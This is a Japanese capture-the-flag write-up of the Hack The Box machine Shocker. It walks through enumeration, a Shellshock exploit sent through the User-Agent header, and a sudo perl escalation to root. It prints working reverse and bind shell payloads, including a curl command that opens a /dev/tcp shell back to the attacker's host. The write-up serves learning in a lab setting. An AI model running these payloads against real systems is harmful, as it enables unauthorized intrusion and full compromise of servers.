概要
今回は、Hack The BoxのLinuxマシンShockerを攻略していきます。
難易度はEasyです。
情報列挙
nmap
初めに、Nmapを使ってターゲットのオープンポートを調査します。
nmap(tcp)
まず、TCPのオープンポートがあるかどうかを、フルポートスキャンにより調査します。
$ sudo nmap -sS -p- 10.10.10.56 -oN scan/tcp_full.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 20:32 EDT
Nmap scan report for 10.10.10.56
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
2222/tcp open EtherNetIP-1
Nmap done: 1 IP address (1 host up) scanned in 130.60 seconds
ポート80, 2222が開いていると分かったので、80,2222に対してバージョンスキャン、デフォルトのスクリプトスキャンを実施します。
$ sudo nmap -sSVC -p 80,2222 10.10.10.56 -oN scan/tcp_ver_sc.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 20:39 EDT
Nmap scan report for 10.10.10.56
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.21 seconds
結果から、以下のようなサービスが動いていることが分かりました。
ポート | バージョン |
---|---|
80 | Apache httpd 2.4.18 |
2222 | OpenSSH 7.2p2 |
nmap(udp)
TCPでのポートスキャンが完了したので、次はUDPでポートが開いているかを調査します。
UDPのスキャンはTCPより時間がかかるので、最初からフルポートスキャンをするのはお勧めしません。
$ sudo nmap -sU 10.10.10.56 -oN scan/udp.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 20:52 EDT
Nmap scan report for 10.10.10.56
Host is up (0.084s latency).
All 1000 scanned ports on 10.10.10.56 are in ignored states.
Not shown: 1000 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 998.56 seconds
特に開いているポートはありませんでした。
TCP/80
TCPのポート80では、Webサーバが開いていると分かったので、ブラウザにてアクセスを行います。
ブラウザのview-source機能を使ってソースコードを見てみます。
<!DOCTYPE html>
<html>
<body>
<h2>Don't Bug Me!</h2>
<img src="bug.jpg" alt="bug" style="width:450px;height:350px;">
</body>
</html>
特に怪しそうなコードは見つかりません。
他に公開しているページを調査するため、ディレクトリスキャンを行います。
gobusterを使用します。
$ sudo gobuster dir -u http://10.10.10.56/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scan/dir_scan.txt
[sudo] password for kali:
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.56/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/04 21:55:01 Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 299]
Progress: 23956 / 30001 (79.85%)[ERROR] 2023/06/04 21:58:26 [!] parse "http://10.10.10.56/error\x1f_log": net/url: invalid control character in URL
Progress: 29998 / 30001 (99.99%)
===============================================================
2023/06/04 21:59:19 Finished
===============================================================
ここで、普段の結果だと/をつけたものも表示されるはずが、ここでは表示されていないことが分かります。
そのため、gobusterのオプション-f
をつけることで、末尾に/をつけたリクエストを送信します。
$ sudo gobuster dir -u http://10.10.10.56/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scan/dir_scan.txt -f
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.56/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2023/06/04 22:02:24 Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/ (Status: 403) [Size: 294]
/icons/ (Status: 403) [Size: 292]
/server-status/ (Status: 403) [Size: 300]
Progress: 23946 / 30001 (79.82%)[ERROR] 2023/06/04 22:05:53 [!] parse "http://10.10.10.56/error\x1f_log/": net/url: invalid control character in URL
Progress: 29955 / 30001 (99.85%)
===============================================================
2023/06/04 22:06:45 Finished
===============================================================
他のディレクトリ(/cgi-bin, /icons)が公開されていることが分かりました。
/cgi-binはcgiを使用する際にcgiスクリプトを保存しておくディレクトリなので、何かcgiスクリプトがないかどうかを探索します。
$ sudo gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -o scan/dir_cgi.txt -x .cgi,.sh,.pl
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.56/cgi-bin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: cgi,sh,pl
[+] Timeout: 10s
===============================================================
2023/06/04 22:19:21 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 299]
/.html.cgi (Status: 403) [Size: 303]
/.html.pl (Status: 403) [Size: 302]
/.html.sh (Status: 403) [Size: 302]
/user.sh (Status: 200) [Size: 118]
user.shが見つかりました!!
/cgi-bin/user.shにアクセスすると、以下のようなファイルが入手できます。
$ cat user.sh
Content-Type: text/plain
Just an uptime test script
22:23:56 up 20:00, 0 users, load average: 0.01, 0.02, 0.00
また、一分ほど後にもう一度/cgi-bin/user.shにアクセスすると、以下のような結果になりました。
$ cat user2.sh
Content-Type: text/plain
Just an uptime test script
22:25:05 up 20:02, 0 users, load average: 0.00, 0.02, 0.00
結果から、表示されている時刻が変化しているので、user.shはcgiスクリプトとして動作していると分かります。
Just an uptime test scriptという記述から、uptimeコマンドの出力結果が載っているようです。
実際にローカルで実行してみると、同じ形式の結果が得られます。
$ uptime
22:39:20 up 2:13, 3 users, load average: 0.23, 0.37, 0.41
動作するcgiスクリプトを発見できたので、これを悪用できないか調査します。
searchsploitコマンドで、Apache cgi
と検索します。
$ searchsploit Apache cgi
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache 0.8.x/1.0.x / NCSA HTTPd 1.x - 'test-cgi' Directory Listing | cgi/remote/20435.txt
Apache 1.1 / NCSA HTTPd 1.5.2 / Netscape Server 1.12/1.1/2.0 - a nph-test-cgi | multiple/dos/19536.txt
Apache 1.3.34/1.3.33 (Ubuntu / Debian) - CGI TTY Privilege Escalation | linux/local/3384.c
Apache 2.2.2 - CGI Script Source Code Information Disclosure | multiple/remote/28365.txt
Apache mod_cgi - 'Shellshock' Remote Command Injection | linux/remote/34900.py
Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasplo | windows/remote/47073.rb
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass | windows/webapps/42953.txt
AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution | cgi/webapps/35035.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Apache mod_cgi - 'Shellshock' Remote Command Injection
が見つかりました。
Shellshock(CVE-2014-6271)の悪用
先ほど、searchsploitコマンドにてShellshockという脆弱性を発見しました。
発見したコードを今いるパスにコピーします。
searchsploitでは、-m [EDB-ID]
をつけることで現在のパスにコードをコピーしてくれます。
コードの名前が34900.pyだったので、以下のように実行すると、
$ searchsploit -m 34900
Exploit: Apache mod_cgi - 'Shellshock' Remote Command Injection
URL: https://www.exploit-db.com/exploits/34900
Path: /usr/share/exploitdb/exploits/linux/remote/34900.py
Codes: CVE-2014-6278, CVE-2014-6271
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/34900.py
$ ls
34900.py
コードがコピーできました。
コードを見てみると、payloadオプションにreverseかbindを指定することで、リバースシェルやバインドシェルのコードを実行してくれるようです。
コード内の76行目にリバースシェルのペイロード、83行目にバインドシェルのペイロードが記述されています。
#リバースシェル
76 payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
#バインドシェル
83 payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
このペイロードが実際に動作するかを確認するため、pingコマンドを実行するものに変更します。
() { :;}; /bin/ping -c 4 <Attacker IP>
Attacker側でtcpdumpにてicmpのトラフィックを見ます。
sudo tcpdump -i <interface name> icmp
ペイロードをuser agentに入れたリクエストを送信します。
curlコマンドを使用することでHTTPリクエストを作成できるので、以下のように実行します。
curl -A "() { :;}; /bin/ping -c 4 10.10.14.2" http://10.10.10.56/cgi-bin/user.sh
tcpdumpにて以下のような出力が得られます。
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
03:19:52.005302 IP 10.10.10.56 > 10.10.14.2: ICMP echo request, id 12124, seq 1, length 64
03:19:52.005419 IP 10.10.14.2 > 10.10.10.56: ICMP echo reply, id 12124, seq 1, length 64
03:19:53.009385 IP 10.10.10.56 > 10.10.14.2: ICMP echo request, id 12124, seq 2, length 64
03:19:53.009448 IP 10.10.14.2 > 10.10.10.56: ICMP echo reply, id 12124, seq 2, length 64
03:19:54.024504 IP 10.10.10.56 > 10.10.14.2: ICMP echo request, id 12124, seq 3, length 64
03:19:54.024550 IP 10.10.14.2 > 10.10.10.56: ICMP echo reply, id 12124, seq 3, length 64
03:19:55.015818 IP 10.10.10.56 > 10.10.14.2: ICMP echo request, id 12124, seq 4, length 64
03:19:55.015848 IP 10.10.14.2 > 10.10.10.56: ICMP echo reply, id 12124, seq 4, length 64
pingのパケットがkali側に送られていることが分かります。
ペイロードは問題なく動作するようです。
リバースシェルを取得するために、まずkali側でncコマンドを実行します。
$ nc -nlvp 123
listening on [any] 123 ...
以下のペイロードを実行し、リバースシェルを取得します。
curl -A "() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.2/123 0>&1" http://10.10.10.56/cgi-bin/user.sh
シェルが取得できました!
$ nc -nlvp 123
listening on [any] 123 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.56] 44048
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
取得したシェルを安定化させます。
以下のコマンドを実行し、表示を安定させたシェルを生成します。
python3 -c "import pty; pty.spawn('/bin/bash')"
ctrl+zで一度ジョブを停止し、以下のコマンドを実行します。
stty raw -echo; fg
このコマンドは以下の内容を実行しています。
コマンド | 意味 |
---|---|
stty raw -echo | ctrl+c等での入力処理を行わないようにする。入力をエコーしないようにする。 |
fg | 停止中のジョブを実行する |
以上でシェルを安定化させることができました。
idコマンドで確認すると、shellyというユーザが取得できたことが分かります。
$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
/home/shelly配下のuser.txtを表示し、フラグを提出しましょう!
侵入後調査
ユーザshellyのアクセスを取得できたので、権限昇格や水平移動につながるものがないか調査します。
よく確認する項目
- OSバージョン
- sudo権限
- ユーザのホームディレクトリ
- アプリケーションの設定ファイル
- 実行中のプロセス
- オープンポート
- cron
OSバージョン
OSのバージョンを以下のコマンドで確認します。
$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
$ cat /etc/issue
Ubuntu 16.04.3 LTS \n \l
対象のOSはUbuntu 16.04.3 LTSのようです。
sudo権限
以下のコマンドを実行し、shellyがroot権限で実行できるファイルがあるかどうかを確認します。
$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
root権限で/usr/bin/perlが実行できるようです。
権限昇格
sudo -lの結果から、root権限で/usr/bin/perlが実行できることが分かりました。
そこで、perlを用いた権限昇格の方法を調査します。
linuxバイナリの悪用方法をまとめたGTFObinsというサイトがあるので、そちらを見てみます。
このサイトでperlについて検索してみます。
検索結果にperlがありました!
クリックして、悪用手法を確認します。
いくつか手法がありますが、今回知りたいのは権限昇格の方法で、バイナリがsudoにて実行可能なのでsudoの欄を見ます。
どうやら権限昇格に使えそうです。
では、実際にコマンドを実行してみましょう。
$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
#
実行すると上のように新たなシェルが生成されました!
idコマンドを実行すると...
# id
uid=0(root) gid=0(root) groups=0(root)
root権限が取得できました!!
/root配下のroot.txtを表示し、フラグを提出しましょう!
Shellshockについて
Shellshockは、bashの脆弱性で環境変数での関数定義の際、関数以降の部分を実行してしまうという脆弱性です。
侵入後の環境で、Shellshockがどのように動作するのか検証してみます。
内部挙動
実際に内部の挙動を見てみましょう
まず、bashにおける通常の関数を設定してみます。
$ export TEST="() { echo 'test'; }"
新しいshellを呼び出すことで関数が有効になるので、以下のように実行します。
$ bash
$ TEST
test
testという単語を表示するという単純な関数でしたが、特に問題なく動作していることが分かります。
次に、脆弱性を利用したコードの実行をしてみます。
$ export TEST1="() { echo 'test'; }" echo test1
先ほどの関数の後にecho test1
というコマンドを追加したものです。
ここで、先ほどと同じように新しいシェルを起動しようとすると、以下のようになります。
$ bash
test1
今行ったのは、新しいシェルを呼び出すだけだったにもかかわらず、先ほどのecho test1
が実行されていることが分かります。
この部分にリバースシェルなどのコマンドを挿入することで、悪用ができます。
Shellshockは、このような形でコード実行が可能な脆弱性となっています。
リモートで実行できるのはなぜか
環境変数に関数が指定できると、コード実行が可能であることは分かりましたが、今回はなぜ悪用できたのでしょうか。
結論から言うと、ApacheのCGIでは、User-Agentやリクエストメソッドなどを環境変数として使用することができます。
今回は、この仕様を悪用してUser-Agentにbashの関数定義を挿入し、Shellshockでのコード実行を行いました。
このように、bashの環境変数を設定できる機能があれば、リモートでのコード実行が可能となります。
まとめ
今回は、Hack The Boxのリタイアマシン Shocker を攻略しました。
有名な脆弱性であるShellshockへの理解も深まったので、非常に良かったです。